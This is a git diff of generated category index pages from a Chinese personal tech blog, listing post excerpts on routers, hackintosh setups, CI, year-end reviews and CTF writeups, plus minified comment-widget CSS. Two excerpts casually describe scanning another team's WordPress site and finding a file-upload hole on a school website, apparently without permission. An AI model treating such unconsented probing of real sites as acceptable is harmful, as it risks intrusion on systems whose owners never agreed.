于是趁着这段时间有空,自己瞎入了一款 ARMv8 开发板,是 FriendlyARM 友善之臂的 NanoPi R2S,来开箱做个测评,顺便谈谈我是如何用它优化家里的网络的~
年轻人的第一台软路由 - NanoPi R2S 开箱 ThinkPad X201s 黑苹果安装记录 继上次给这台 ThinkPad X201s 更换了 SSD 以后,想着既然都换了 SSD 怎么能不尝尝黑苹果的滋味呢w
然而很不幸的是网络上几乎没有任何关于 ThinkPad X201s 黑苹果安装的有效信息,只有几篇关于 X201 和 X201i 的,于是在踩了特别特别多的坑以后决定还是在这里记录一下完整的安装过程吧~
ThinkPad X201s 黑苹果安装记录 Travis CI + Hexo 实现静态博客自动部署 本文使用 MWeb Markdown 编辑器写于 iPad Air 2,利用 iOS 端迄今为止最佳的可视化 Git 工具 Working Copy 提交至博客仓库,经 Travis CI 自动构建后自动发布至 GitHub Pages。
以上是我最理想的写博客的流程,而今天我终于实现啦!😆
众所周知,静态博客的一大特点就是没有管理后台,因此常规的操作流程一般是写文章-丢进_posts文件夹-手动执行构建-发布。事实上我也一直是这么干的,得益于 Coding 的 CloudStudio,我至少可以不用电脑随时随地执行这套繁琐的操作,觉得这样将就用着也还能接受。但是最近发现 CloudStudio 经常卡半天进不去,再加上 Coding 升级后混乱的用户体验(个人版、企业版、团队版、腾讯云开发者全部杂糅在一起),我还是决定放弃这套糟糕的流程。
所以,不如咱就试试让 Travis CI 替咱做掉这些繁琐的工作吧!
Travis CI + Hexo 实现静态博客自动部署 ThinkPad X201s 固态硬盘升级记 平时我一直拿 ThinkPad X201s 当主力机用,写文档、做 PPT、撸代码都挺顺手,再加上它又是 ThinkPad 的经典设计,标志性的小红点更是加了不少的情怀分
然而毕竟是8年前的老电脑,最近升级到 Win10 1909 1月更新 之后我发现它慢得有点吓人😢
具体来说就是:
开机时 Win10 Logo 下方的圆圈需要转很久 Win10 Logo 消失后会有 10s 的黑屏 输完开机密码不能立即进入桌面 进入桌面后还需要等待任务栏加载 总开机时长在 1min30s 至 2min 开机后首次启动 Office 套件需要 30s 左右的等待 硬盘工作时噪声巨大 偶尔会出现整个屏幕卡死、鼠标键盘全部无效的死机情况,硬盘灯不亮 估摸着大概是原配的机械硬盘已经不太好了,于是决定升级一下固态硬盘✌️
ThinkPad X201s 固态硬盘升级记 记一次黑苹果下 AMD 显卡驱动注入经历 不要问我为什么刚用 Ubuntu 体验完了伪 macOS 却又格盘玩起了黑苹果~
记一次黑苹果下 AMD 显卡驱动注入经历 给你的 Ubuntu GNOME 桌面带来类 Mac OS 的体验 前段时间吃饱了撑的 拆了台废旧的笔记本电脑,主板已经被玩坏了,拿去修成本太高,因此我就把里面的硬盘拆下来玩玩~硬盘的型号是 Seagate Momentus PSD 160GB 混合型硬盘,接口是 SATA ,于是弄了个笔记本硬盘盒一装,S.M.A.R.T. 信息、坏道检测都没有问题呢,就变身我的移动硬盘啦~
正巧一直想要给电脑搞个 Linux 系统,就参照了 Little_Qiu 大佬的一篇文章:
我将可爱的 Ubuntu 18.04.2 LTS 顺利装进了口袋里~n(≧▽≦ )n
可惜…个人不太喜欢 GNOME 默认的拟物化主题…(可能也有挺多人喜欢的吧qwq…)所以决定给咱的 Ubuntu To Go 来个大改造!
毕竟,
好看是第一生产力。(雾
(上图即为最终效果图)
So…这篇文章就诞生啦!
给你的 Ubuntu GNOME 桌面带来类 Mac OS 的体验
\ No newline at end of file
diff --git a/categories/技术向/page/2/index.html b/categories/技术向/page/2/index.html
new file mode 100644
index 00000000..a8c63fb6
--- /dev/null
+++ b/categories/技术向/page/2/index.html
@@ -0,0 +1 @@
+分类:技术向 | Hans362 's Blog 加载中...
Hans362 's Blog PHP踩坑记录#1 这段时间在开发追番列表展示API (人生中第一个PHP项目啊…),迫于没有系统地学习过PHP只是略知一二,在开发的过程中可以说是到处是坑,于是乎…在我努力地现学现卖的过程下,还是顺利 地写完了这个程序
至于运行的效率以及代码质量么…不管了…(自信
那么针对踩过的坑就记录一下吧~(先说明一下 PHP 版本为7.1.26)
PHP踩坑记录#1 如何优雅地使用 VLC 播放辣鸡 APP 上的英语听力 很久都没有写过这种文章了辣么就来水一篇吧
如何优雅地使用 VLC 播放辣鸡 APP 上的英语听力 给小米路由器3刷入LEDE 没错,继给小米路由器3刷入Pandavan 之后我这个刷机狂魔又来啦~
这段时间翻了翻恩山无线论坛发现小米路由器3已经有非官方LEDE固件了呢!果断决定刷刷看…
预警:如果您准确按照本文的操作步骤操作,一般是不会出问题的,当然不排除刷坏的可能,变砖了赶快去买彩票,别来找我╮( ̄▽ ̄"")╭
预警²:本文使用的固件非官方固件,而是ptpt52为推广natcap而自行编译的固件,目前经我测试一切正常,若您需要纯净固件请留意LEDE官网有无官方固件发布
给小米路由器3刷入LEDE 使用WPScan扫描WordPress博客安全性 写在前面:本文介绍的工具建议仅用于安全性测试,使用请遵守国家规定,本博客不承担任何责任。
最近看到隔壁的@崇宫苟道 的一篇文章《冻果果?00后网络团队?抄袭?(持续更新ing)》 ,看完真的是被吓到了…我暂且先不对冻果果的行为做任何评价,毕竟今天的主题是使用WPScan扫描WordPress博客安全性,既然这个冻果果团队自称很厉害,那么就免费 帮他们做下测试吧~
首先感谢@崇宫苟道 给出的信息,该站的首页是个基于WordPress的论坛(真的长见识了…WP也能做论坛)
那么就拿出WPScan扫一下吧~
(前方大量代码块来啦~为避免影响主页效果,文章已折叠,点击下方继续阅读)
使用WPScan扫描WordPress博客安全性 Docker容器Web管理工具 - Shipyard安装与体验 2018.4.19更新:建议各位不要使用了,我的主机已经被黑了,疑似是通过自用的Shipyard攻入的,被恶意运行了挖坑程序,这种停止维护的项目还是尽量不要使用,使用的话请做好防火墙防护措施 最近我开始研究起Docker容器,发现竟然有这么好的东西~最让我喜欢的一点是每个容器之间都是隔离开来的,部署方便,资源利用充分,终于可以为所欲为了呢
然而每次开个容器命令都要敲个半天,懒癌发作,所以我想找一个Docker的WebUI管理器,最终发现了Shipyard
Shipyard是一个基于Web的Docker管理工具,支持多主机,可以把多个Docker主机上的容器统一管理,可以查看镜像,甚至构建镜像,并提供RESTful API等等
遗憾的是,当我写这篇文章的时候,这个项目的作者已经弃坑了,项目处于无人更新维护的状态,所以自己玩玩就好,切勿用于生产环境,以免造成严重后果
地址:http://shipyard-project.com/(打不开的,作者已经弃坑此项目)
Docker容器Web管理工具 - Shipyard安装与体验 给小米路由器3刷入Pandavan 一年前入手了小米路由器3,当初因为听说小米路由器可以刷各种固件(OpenWRT,LEDE,PandoraBox之类的),而且自己也挺喜欢小米的,所以立刻就买了。
拿到后立刻准备开刷,论坛上搜索小米路由器3刷机的帖子,却很少见,几乎没有找到可用的第三方固件。好像是因为小米路由器3采用的Nand Flash的原因,刷死之后搞一个Nand Flash的编程器得800软妹币左右,没人愿意冒这个风险,而且没有breed支持,导致小米路由器3和小米路由器Mini硬件几乎相同(除了Nand Flash)我无语了…果然得事先做好功课啊~
最近无意中看到了扔在一边正在吃灰的小米路由器3,突发奇想又搜了一下刷机方案,发现还真出现了一个。目前唯一的第三方固件是华硕RT-N56U固件,由于采用了相同的芯片(最重要的是老毛子的支持)。
(据说LEDE也专门为MIR3适配了一款固件,但是好像还没看到过刷成功的案例,所以没敢贸然行动…)
预警:如果您准确按照本文的操作步骤操作,一般是不会出问题的,当然不排除刷坏的可能,变砖了赶快去买彩票,别来找我╮( ̄▽ ̄"")╭
给小米路由器3刷入Pandavan UTF8-BOM编码导致Html顶部白条问题 自从给博客加上了Google Adsense的广告,就出现了一个很困扰我的问题:网页顶部莫名空出了一个白条。虽然对于网页的访问没有什么影响,但是…强迫症不能忍啊!这一切的背后,究竟是人性的扭曲,还是道德的沦丧 ,请阅读本篇文章~(大雾
UTF8-BOM编码导致Html顶部白条问题 使用Jenkins CI为Nukkit持续集成 最近搭了个Jenkins,在一番艰难困苦 的研究之后,终于成功的使用Jenkins编译了一个Maven项目Nukkit。虽然过程艰辛了点,但是从长远来看还是挺方便的,实现了自动检测GayHub上面的项目更新并且自动完成构建,岂不美哉?
使用Jenkins CI为Nukkit持续集成 IIS环境下为Typecho配置伪静态 Typecho是一款轻量级的基于PHP的博客程序,界面简洁,简单明了,而且它还可以使用内置的固定链接功能让博客看上去像静态页面。
IIS环境下为Typecho配置伪静态 遇到怪事了-玄学的ApacheTomcat容器 最近把Jenkins移到了新的服务器上,由于已经自带Apache Tomcat所以就使用War包的方式部署Jenkins,然而我一不小心手贱重启了Tomcat,于是这只该死的Tomcat就罢工了。
遇到怪事了-玄学的ApacheTomcat容器
\ No newline at end of file
diff --git a/categories/技术向/page/3/index.html b/categories/技术向/page/3/index.html
new file mode 100644
index 00000000..5d5e955f
--- /dev/null
+++ b/categories/技术向/page/3/index.html
@@ -0,0 +1 @@
+分类:技术向 | Hans362 's Blog 加载中...
Hans362 's Blog 搭了个Jenkins CI~ 虽说我已经是懒癌晚期了但是为了方便自己 大家还是搭了个Jenkins。平时可以自动在上面构建一些项目什么的,还是挺方便的呢
这次和大家分享一下搭建的过程吧~
搭了个Jenkins CI~
\ No newline at end of file
diff --git a/categories/杂文/index.html b/categories/杂文/index.html
new file mode 100644
index 00000000..fe466192
--- /dev/null
+++ b/categories/杂文/index.html
@@ -0,0 +1 @@
+分类:杂文 | Hans362 's Blog 加载中...
Hans362 's Blog 2023年终总结 草草草怎么一年就过去了,又到了痛苦的期末周 一年一度的年终总结时刻,于是我在紧张刺激的期末跨年预习 复习活动中匆匆写完了这篇文章,快来回顾一下这一事无成 的一年罢()
2023年终总结 2022年终总结 2022年的最后一个冬夜,我和往年一样坐在屏幕前,试图用文字为过去的一年画上句号。今年的我,沉思良久,却一时不知从何写起。
2022年发生了太多事情,让我感到恐惧、愤怒、无奈、迷茫,却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中,但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此,我愿将它们和我的生活一起,写入我的年终总结,作为它们曾经存在过、发生过的一份见证。
2022年终总结 电子纸初体验 - 文石 BOOX NoteX 开箱 诶嘿嘿,又花了大价钱整了个新玩具,感觉最近成为了一个开箱博主😂
那么这次开箱的是文石 BOOX NoteX 电子纸。作为一个以前从未用过电子墨水产品的小白,就来分享一下开箱以及使用的感受吧。
电子纸初体验 - 文石 BOOX NoteX 开箱 ThinkBook 14+ 2022 i5 独显版开箱 好久不见。大家可能已经知道了,因为这该死的疫情,上海的秋季高考推迟一个月举行。这对我来说不仅痛苦延长,而且人生中期盼已久的的真正意义上的暑假也完全泡汤了。
好在这几天终于考完了高考,可以暂时轻松一段时间了。关于近况之后会再开一篇又臭又长的文章好好讲讲,这里先不赘述了。
言归正传,考完试后,我就开始物色人生中第一台属于自己的笔记本了。经过一番精挑细选,最终选择了 ThinkBook 14+ 2022 i5 独显版,这篇文章就来开个箱以及记录一下使用感受。
ThinkBook 14+ 2022 i5 独显版开箱 2021年终总结 时间过得真的好快,转眼又是一年年末,不知不觉竟然就要步入2022了。
这段时间一直在备战英语春季高考,于是把年终总结一拖再拖。现在是2021年最后一天的晚上7点,我刚刚从学校回到家中,刷了一天的英语卷子已经累得想要躺平了,正好写点东西放松一下。
那么,就来回顾一下我的这一年吧。
2021年终总结 2021年上海高中地理/生物等级考大吐槽 今天下午4:30,走出考场那一刻,我和相处两年的地理/生物彻底告别了(泪目
首先先庆祝一下完结撒花🎉以后终于可以比理化人稍微轻松一点点了
然后还是老规矩,在出成绩之前先骂一骂 吐槽一下出题人(雾
(其实这篇文章本来取名叫《我与地理生物的和平分手》,考完生物我就把这个标题改了😂)
2021年上海高中地理/生物等级考大吐槽 2020年终总结 现在是2020年12月31日晚八点,我刚刚上完课回到家,也算是赶上2020的末班车了,终于能在新的一年开始之前动笔写下这篇年终总结
2020年,曾经听起来充满科幻感的年份,眼看着就到了最后一天,心里说不出的感觉。
如果要用一个词来总结2020年的话,我觉得可能是「魔幻」,感觉好像做了一场大梦,一觉醒来浑浑噩噩就到了年末,前半年所经历的一切都只剩下了模糊飘渺的印象
时间真的可以冲淡一切,也许多年以后,我就将彻底丧失关于这一年的所有记忆,只剩下零星的碎片,以及那个所谓的「正确的集体记忆」
幸好,我还有我的博客,还有 Twitter 和 Teleblog,我得以穿越时空的界限去重温这一年,去重拾那些记忆,也勉强对抗一下这「正确的集体记忆」,这或许也正是独立博客存在于这个时代中的意义与价值
那么就来回顾一下这一年的点点滴滴吧
2020年终总结 MoeLink - 奇怪的内网穿透服务增加啦 或许各位已经发现,在我的博客顶部新增了一个“实验室”的菜单~
正如博客的直白的命名方式一样,懒鬼 Hans362 决定给他的实验室取名为 Hans362 's Lab,开张几个月内已经拐骗来了 很多 Server 酱(
TA们共同承包了 oj.hans362.cn
、rss.hans362.cn
、nas.hans362.cn
、ao3.hans362.cn
等多项服务,7*24小时卖力地为老板干活(
然而黑心老板 Hans362 认为TA们并不够累,因此决定加 大 力 度 继 续 压 榨 (雾)
于是就搞了这个 MoeLink 内网穿透服务~(特别感谢 Akkariin 大佬的 SakuraPanel~)
https://frp.hans362.cn/
MoeLink - 奇怪的内网穿透服务增加啦 一次任意文件上传漏洞的实战经历 这一切都要从一只蝙蝠说起…
最近看到了一个站,是某高中的在线英语人机对话练习平台,目测了一下网站应该是外包的,因为首页上还有客服的 QQ 和定制的联系方式…
像这种看上去粗制滥造 的小网站肯定一挖一堆洞…果然1小时后搞定
声明:本文作者没有利用该漏洞做出任何恶意或违法行为,也未触及任何数据,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担
一次任意文件上传漏洞的实战经历 【转载】不能把冬天唱成春的开始 本文据传是成都七中的开课致辞,原文链接(现已被屏蔽):成都七中老师开课致辞:不能把冬天唱成春的开始 由于无法确认原作者,暂且转载,如有不妥或侵权请务必与我联系:i@hans362.cn,感谢。
【转载】不能把冬天唱成春的开始
\ No newline at end of file
diff --git a/categories/杂文/page/2/index.html b/categories/杂文/page/2/index.html
new file mode 100644
index 00000000..ce4e0bcf
--- /dev/null
+++ b/categories/杂文/page/2/index.html
@@ -0,0 +1,5 @@
+分类:杂文 | Hans362 's Blog
+
+
+
+加载中...
Hans362 's Blog 2019年终总结&博客2周年致谢 两年前,即2017年的12月20日,我的博客旅程开始了
那时,我还在读初二
仍记得当时是在破服务器上跑了个 Typecho,搭配 @Archeb 写的超厉害的主题再加上自己的一通乱改,一个像模像样的博客就诞生了~
(一张 Typecho 时期的博客截图)
转眼间,已经整整两年过去了…我们即将告别21世纪10年代的最后一个冬天…
时间,真的太快了…
2019年终总结&博客2周年致谢 『不管晴天还是雨天,我只想和你相遇。』——动画电影《天気の子》观影感受 等待近三个月,跨越夏秋两季,期待已久的《天気の子》,总算是在中国大陆地区上映了,也成功地将一部夏天的电影硬生生地拖到了冬天…
大概是今年6月份中考完,刷推得知《天気の子》将于7.19在日本上映~看了第一部预告片就爱了~很希望能在暑假里看到它呐~
可惜…现实并非如此…我一度以为《天気の子》或许今年是无法引进了,不过好在结果并没有像2016年《君の名は》那样拖到12月份~
最初入坑新海诚也是通过《君の名は》这部巨作,之后又补了《言の葉の庭》,也是部很不错的电影~
原本打算11.1上映首日(周五)就去看的,然而由于上海这一言难尽的进博会调休,11.2(周六)学校还要上课…我吐了
然后11.3白天有点事也没去看,晚上买了票,终于11.4下午迫不及待地赶到电影院~一个人看完了这部电影(好惨
于是就有了这篇影评~
以下内容包含剧透,请谨慎阅读 以下内容包含剧透,请谨慎阅读 以下内容包含剧透,请谨慎阅读
『不管晴天还是雨天,我只想和你相遇。』——动画电影《天気の子》观影感受 2019年上海中考大吐槽¯\_(ツ)_/¯ 上一篇破事水还是在4个月以前…嗯又来水文章了
就在不久前的6月15日、16日两天举行了上海市初中毕业统一学业考试(说白了就是中考),同时6月15日也是我生日…生日碰上中考,这事,真dei劲
咳咳…扯远了那么这篇文章用来疯狂吐槽今年的上海中考卷(在被市教委请去喝茶的边缘试探qwq
2019年上海中考大吐槽¯\_(ツ)_/¯ 动画电影《肆式青春》观影感受
大概是第一次写影评呢…写的不好请见谅
为此我可是下了大血本的呢!家附近的影院竟然都没有排片,作为一个穷的要死的学生党忍痛买了B站大会员~~(有钱人的世界呢~~
看完之后顺便找了日语版的二刷了一下
说实话以前没怎么看过这类电影,之前对动画(无论是国漫还是日漫)都没啥兴趣,看见B站上的宣传就看了一下这部电影,就以我的角度谈谈感受吧~
防剧透版: 画面确实值得一看,剧情相对而言可能就没什么新意了,但是有几处对我而言还是挺有感触的。总体来说这部电影还是不错的,但仍有上升空间。若要观看个人建议第一个故事选择日语配音+中文字幕,第二个和第三个故事选择国语配音,B站上的国语版有几处BGM和配音挺尬的。
警告:以下内容可能包含剧透,请务必谨慎阅读,以下为我本人观点,不喜请一定要轻喷啊
动画电影《肆式青春》观影感受 【已修复】好气啊(`ヘ´)=3这个BUG就真的修不好了么...
【已修复】好气啊(`ヘ´)=3这个BUG就真的修不好了么... 是时候和2017说再见了 时间过得这么快的嘛…转眼已到2017年的最后一天啦
回忆这一年真的是发生了很多事情呢,可以说是有喜有悲吧…
是时候和2017说再见了
\ No newline at end of file
diff --git a/categories/杂文/page/3/index.html b/categories/杂文/page/3/index.html
new file mode 100644
index 00000000..90b6923a
--- /dev/null
+++ b/categories/杂文/page/3/index.html
@@ -0,0 +1 @@
+分类:杂文 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/categories/水/index.html b/categories/水/index.html
new file mode 100644
index 00000000..cc96fe2e
--- /dev/null
+++ b/categories/水/index.html
@@ -0,0 +1 @@
+分类:水 | Hans362 's Blog 加载中...
Hans362 's Blog SJTU-CTF / GEEKCTF 2024 部分 Writeup 去年还是选手,今年变成出题人了(
这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。
SJTU-CTF / GEEKCTF 2024 部分 Writeup SJTU-CTF 2023 Writeup 好久没更新博客了,周记已经咕咕咕好几个月了,等有空再写吧(
作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白,前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会,就在博客上也发一遍吧。
SJTU-CTF 2023 Writeup NOIP 2021 游记&退役记 11月20日下午一点,考场内清脆的结束铃响起,我按下了屏幕上的提交按钮,短暂的三年 OI 生涯终于随 NOIP 2021 的落幕画上了句号,我的心里感慨万千。这应该是这个博客的最后一篇 NOI 系列活动游记了,因为,无论这次考得怎样,我都真的彻底退役了,高三了,老了。
NOIP 2021 游记&退役记 2021 CSP-S 复赛游记 昨天,也就是2021年10月23日,我刚刚考完了本年度的 CSP-S 第二轮。晚上六点多走出考场时,我人已经麻了。欲知发生了甚么事,请继续阅读本文。
P.S. 去年复赛游记请移步:2020 CSP-S 复赛游记
2021 CSP-S 复赛游记 2021 CSP-S 初赛游记 没错,我又回来了。
去年 NOIP 拿了个二等奖,然后退役专心搞文化课去了,当时打算如果高三有空的话再去玩最后一次。现在由于我已经考完了地理、生物等级考,课业压力和很多人相比还是要稍微轻松一点的,再来就是想调剂一下枯燥乏味的生活,于是尽管已经高三,我依旧报名了今年的 CSP/NOIP 系列认证/赛事。当然高三毕竟还是学习最重要,所以我也就没有像去年花大量时间参加集训了,决定凭着现有的菜鸡水平,作为退役选手重返赛场。
因为一些众所周知的原因,今年是 NOI 系列活动新赛程实施的第二年。由于有了去年的经验,今年 CCF 各个环节推进得要迅速很多,8月份就开始初赛报名了,整个赛程的时间线比去年提早了一个月左右,正好不会影响到12月份的高三一模。9月19日我去考了 CSP-S 第一轮认证(初赛),于是就有了这篇游记。
去年初赛游记请移步:2020 CSP-S 初赛游记
2021 CSP-S 初赛游记 NOIP 2020 游记 这是篇迟到了两周的游记,因为考完 NOIP 后我这个苦逼的文化课选手又去准备地理生物一模了,一模考完后的这个周末才开始肝这篇游记qwq
这是我人生中第一次参加 NOIP(去年的那个 CSP-S 不算的话),或许也将是最后一次或者倒数第二次(如果条件允许的话高三可能还会去打一场),
NOIP 2020 游记 2020 CSP-S 复赛游记 好久不见,距离上一次的 CSP-S 初赛游记又是一个月啦~
昨天,也就是2020年11月7日,我刚刚考完了本年度的 CSP-S 第二轮,几句话简单总结一下就是:
1582年的10月竟然只有21 21 2 1 天?天文学家又为何需要计算1 0 9 10^9 1 0 9 天后的日期? 动物园竟然饲养着2 64 2^{64} 2 6 4 种动物?1 0 8 10^8 1 0 8 种饲料又从何而来? 数据库软件竟内置了1 0 5 10^5 1 0 5 个函数?又为何频频无响应? 决斗场上为何会有1 0 6 10^6 1 0 6 条蛇?蛇又是为了什么而互相吞食? 为何选手出了考场都口吐芬芳,甚至想要亲切地问候 €€£ 外公的女儿? 为何全网都在寻找 T1 的出题人,想要和 TA 面基? 为何 €€£ 今年不考 DP?为何正式比赛变成了真•模拟赛? 组题人(不是错别字)又究竟受何打击?竟这样报复社会?
这背后究竟是人性的扭曲,还是道德的沦丧?请继续阅读本文(
P.S. 去年复赛滚粗记请移步:2019 CSP-S 复赛滚粗记
2020 CSP-S 复赛游记 2020 CSP-S 初赛游记 最近事情是真的多,拼命赶各种 Deadline 准备各种考试都好久没更新博客了,总之等我哪天有空了再发一篇周记说说近况吧
那么这篇文章是我在2020年10月11日参加的 CSP-S 初赛的游记~
去年初赛游记请移步:2019 CSP-S 初赛游记
2020 CSP-S 初赛游记 2019 CSP-S 复赛滚粗记 又是篇迟到的游记~
这次是真的凉透了…(真的是真哒
2019 CSP-S 复赛滚粗记 2019 CSP-S 初赛游记 这是一篇迟到两个多星期的游记~
众所周知,NOIP(某个已经死掉的比赛)已经被和它名义上完全没有关系的不纳入行政轨道的允许任何年龄段参加的 CSP-J/S 取代
作为萌新 OIer 花了50块钱来了趟 2019 CSP-S 半日游~
2019 CSP-S 初赛游记
\ No newline at end of file
diff --git a/categories/水/page/2/index.html b/categories/水/page/2/index.html
new file mode 100644
index 00000000..bd078a77
--- /dev/null
+++ b/categories/水/page/2/index.html
@@ -0,0 +1 @@
+分类:水 | Hans362 's Blog 加载中...
Hans362 's Blog 哇我居然填坑了2333 之前不是在周记里说要把本博客使用的LightWhite主题移植到纸小墨上面嘛… 写完周记我就认为自己立Flag了,绝对是个大坑,自己不会去填坑的2333
然而刚才抽出时间稍微移植了几个文件,Push到了GayHub上面,顺便生成了一个使用LightWhite主题的纸小墨静态博客,放在GitHub Pages上面~
(继续阅读)
哇我居然填坑了2333 (水)收到了来自AWS Educate送的$25代金券~
(水)收到了来自AWS Educate送的$25代金券~
\ No newline at end of file
diff --git a/categories/测评/index.html b/categories/测评/index.html
new file mode 100644
index 00000000..8cbcc796
--- /dev/null
+++ b/categories/测评/index.html
@@ -0,0 +1,2 @@
+分类:测评 | Hans362 's Blog 加载中...
Hans362 's Blog 性价比高但速度一般 - DigitalOcean5刀云主机评测 DigitalOcean应该算是美国一家比较老牌的云主机商了,经常与Vultr、Linode等廉价的主机商一起出现。作为穷得要死的牛奶,我还是想方设法搞到了一台DO的5刀云主机。(前段时间发现GitHub学生包里还有50刀的DigitalOcean代金券还没有用,嘿嘿不然哪有闲钱买这个啊喂)
性价比高但速度一般 - DigitalOcean5刀云主机评测 略有失望的VPS体验 - AWS LightSail评测 您现在看到的这篇文章编辑于运行Windows系统的LightSail服务器
+
拖延症有点严重啊…这篇评测本来是去年就打算写的,一直拖到现在…
咳咳…下面进入正题…
LightSail是由AWS推出的一款适合个人、团队或小型企业的云计算服务,它与传统EC2相比性价比更高,且对于初次接触云计算的用户来说管理、操作更为方便。
略有失望的VPS体验 - AWS LightSail评测
\ No newline at end of file
diff --git a/categories/项目发布/index.html b/categories/项目发布/index.html
new file mode 100644
index 00000000..def07ca9
--- /dev/null
+++ b/categories/项目发布/index.html
@@ -0,0 +1 @@
+分类:项目发布 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/css/disqusjs.css b/css/disqusjs.css
new file mode 100644
index 00000000..5f5aab04
--- /dev/null
+++ b/css/disqusjs.css
@@ -0,0 +1 @@
+/*! DisqusJS - Default Theme | v1.3.0 | Sukka (https://skk.moe) | https://disqusjs.skk.moe | MIT License */#dsqjs *{margin:0;padding:0}#dsqjs a{text-decoration:none;color:#076dd0}#dsqjs .dsqjs-hide{display:none!important}#dsqjs .dsqjs-disabled{cursor:not-allowed;opacity:.5}#dsqjs #dsqjs-msg{text-align:center;margin-top:4px;margin-bottom:4px;font-size:14px}#dsqjs #dsqjs-msg .dsqjs-msg-btn{cursor:pointer}#dsqjs .dsqjs-bullet{line-height:1.4;margin:0 2px}#dsqjs .dsqjs-bullet::after{color:#c2c6cc;content:"·";font-weight:700}#dsqjs .dsqjs-clearfix:after,#dsqjs .dsqjs-clearfix:before{display:table;content:"";line-height:0;clear:both}#dsqjs .dsqjs-nav{position:relative;margin:0 0 20px;border-bottom:2px solid #e7e9ee}#dsqjs ol,#dsqjs ul{list-style:none;list-style-type:none}#dsqjs .dsqjs-no-comment{text-align:center;font-size:16px;line-height:1.5;word-wrap:break-word;overflow:hidden;color:var(--t);margin-bottom:6px}#dsqjs .dsqjs-nav-tab{float:left;font-size:15px;padding:12px 8px;color:var(--body-color);display:block;margin:0 15px 0 0;font-weight:700;line-height:1;position:relative;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}#dsqjs .dsqjs-nav-tab:last-child{margin:0}#dsqjs .dsqjs-tab-active{color:var(--ic)}#dsqjs .dsqjs-tab-active>span:after{content:" ";display:block;height:2px;background-color:#076dd0!important;position:absolute;bottom:-5px;left:0;right:0}#dsqjs .dsqjs-post-list .dsqjs-post-item{position:relative;margin-bottom:16px}#dsqjs .dsqjs-post-list .dsqjs-post-avatar{float:left;margin-right:10px;position:relative;background:#dbdfe4;padding:0;display:block;border-radius:4px}#dsqjs .dsqjs-post-list .dsqjs-post-avatar img{width:44px;height:44px;display:block;border-radius:4px}#dsqjs .dsqjs-post-list .dsqjs-post-header{line-height:1;font-size:14px;margin-bottom:3px}#dsqjs .dsqjs-post-list .dsqjs-post-header .dsqjs-post-author{color:#656c7a;font-weight:700}#dsqjs .dsqjs-post-list .dsqjs-post-header .dsqjs-admin-badge{color:#fff;background:#687a86;padding:1px 3px;margin-left:4px;font-size:12px;line-height:1;font-weight:700;border-radius:3px;display:inline-block;position:relative;top:-1px;left:1px}#dsqjs .dsqjs-post-list .dsqjs-post-header .dsqjs-meta{display:inline-block;font-size:12px;color:#656c7a}#dsqjs .dsqjs-post-body{font-size:15px;line-height:1.5;word-wrap:break-word;overflow:hidden;color:var(--t)}#dsqjs .dsqjs-post-body code{padding:.2em .4em;margin:0;font-size:85%;color:inherit;border-radius:3px}#dsqjs .dsqjs-post-body pre{padding:.5em;overflow:auto;font-size:85%;line-height:1.45;border-radius:3px;background:#f5f5f5;margin:.5em 0}#dsqjs .dsqjs-post-body blockquote{padding:0 .8em;margin:.5em 0;color:#6a737d;border-left:.25em solid #dfe2e5}#dsqjs .dsqjs-post-body p:last-child{margin:0}#dsqjs .dsqjs-post-list.dsqjs-children>li{margin-left:30px}@media (min-width:768px){#dsqjs .dsqjs-post-list.dsqjs-children>li{margin-left:48px}#dsqjs .dsqjs-post-list .dsqjs-post-avatar{margin-right:12px}#dsqjs .dsqjs-post-list .dsqjs-post-item{margin-bottom:20px}}@media (min-width:1024px){#dsqjs .dsqjs-post-list.dsqjs-children>li{margin-left:60px}}#dsqjs .dsqjs-post-list.dsqjs-children .dsqjs-post-avatar img{width:38px;height:38px}#dsqjs .dsqjs-load-more{font-size:14px;font-weight:400;display:block;text-align:center;padding:11px 14px;margin:0 0 24px;background:#687a86;color:#fff;cursor:pointer}#dsqjs .dsqjs-load-more:hover{opacity:.8}#dsqjs footer{text-align:right;line-height:1.5;padding-top:10px;padding-right:10px;border-top:2px solid #e7e9ee;margin-top:12px;font-weight:700;font-size:16px;color:#555}#dsqjs .dsqjs-disqus-logo{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 438 80'%3e%3cpath fill='%23575B5D' d='M30.2 1.6H1v76h28.9C57 77.6 73 61.3 73 39.4v-.2c0-22-15.7-37.6-42.9-37.6zm21.3 38.1c0 12.3-8.4 19.3-21 19.3H22V20.3h8.5c12.6 0 21 7 21 19.2v.2zm35.6 38h21.2V1.5H87.1v76zm70-47.4c-10.4-2.4-13-4-13-7.4v-.2c0-2.7 2.4-5 7.6-5 6.7 0 14.3 2.7 21.2 7.6l10.6-14.9A47.9 47.9 0 0 0 152.2.3c-18.3 0-29.4 10.2-29.4 24.3v.2c0 15.7 12.4 20.3 28.6 24 10.4 2.3 12.9 4 12.9 7.2v.2c0 3.3-3 5.2-8.7 5.2-8.8 0-17.2-3.1-24.7-9l-11.7 14a53.1 53.1 0 0 0 35.6 12.5c18.5 0 30.7-9.2 30.7-24.7V54c0-14.3-10.8-20-28.3-23.7zm120.7 9.3v-.2A39.5 39.5 0 0 0 236.9.1c-23.4 0-41 17.7-41 39.5v.2a39.5 39.5 0 0 0 40.8 39.4c8.7 0 16.6-2.5 23.1-6.8l8.4 7.5L279 68.1l-7.9-6.6a38 38 0 0 0 6.8-21.9zm-21.4.5c0 2.6-.5 5-1.3 7.3l-10.4-9.3-10.6 12 10.5 9a21.7 21.7 0 0 1-7.7 1.4c-11.6 0-19.4-9.7-19.4-20.7v-.2c0-11 7.7-20.5 19.2-20.5 11.7 0 19.7 9.7 19.7 20.7v.3zm83.5 4.3c0 10.6-5.5 15.6-14 15.6s-14-5.2-14-16.1V1.6h-21.4v42.7C290.5 68 304 79 325.7 79s35.6-10.8 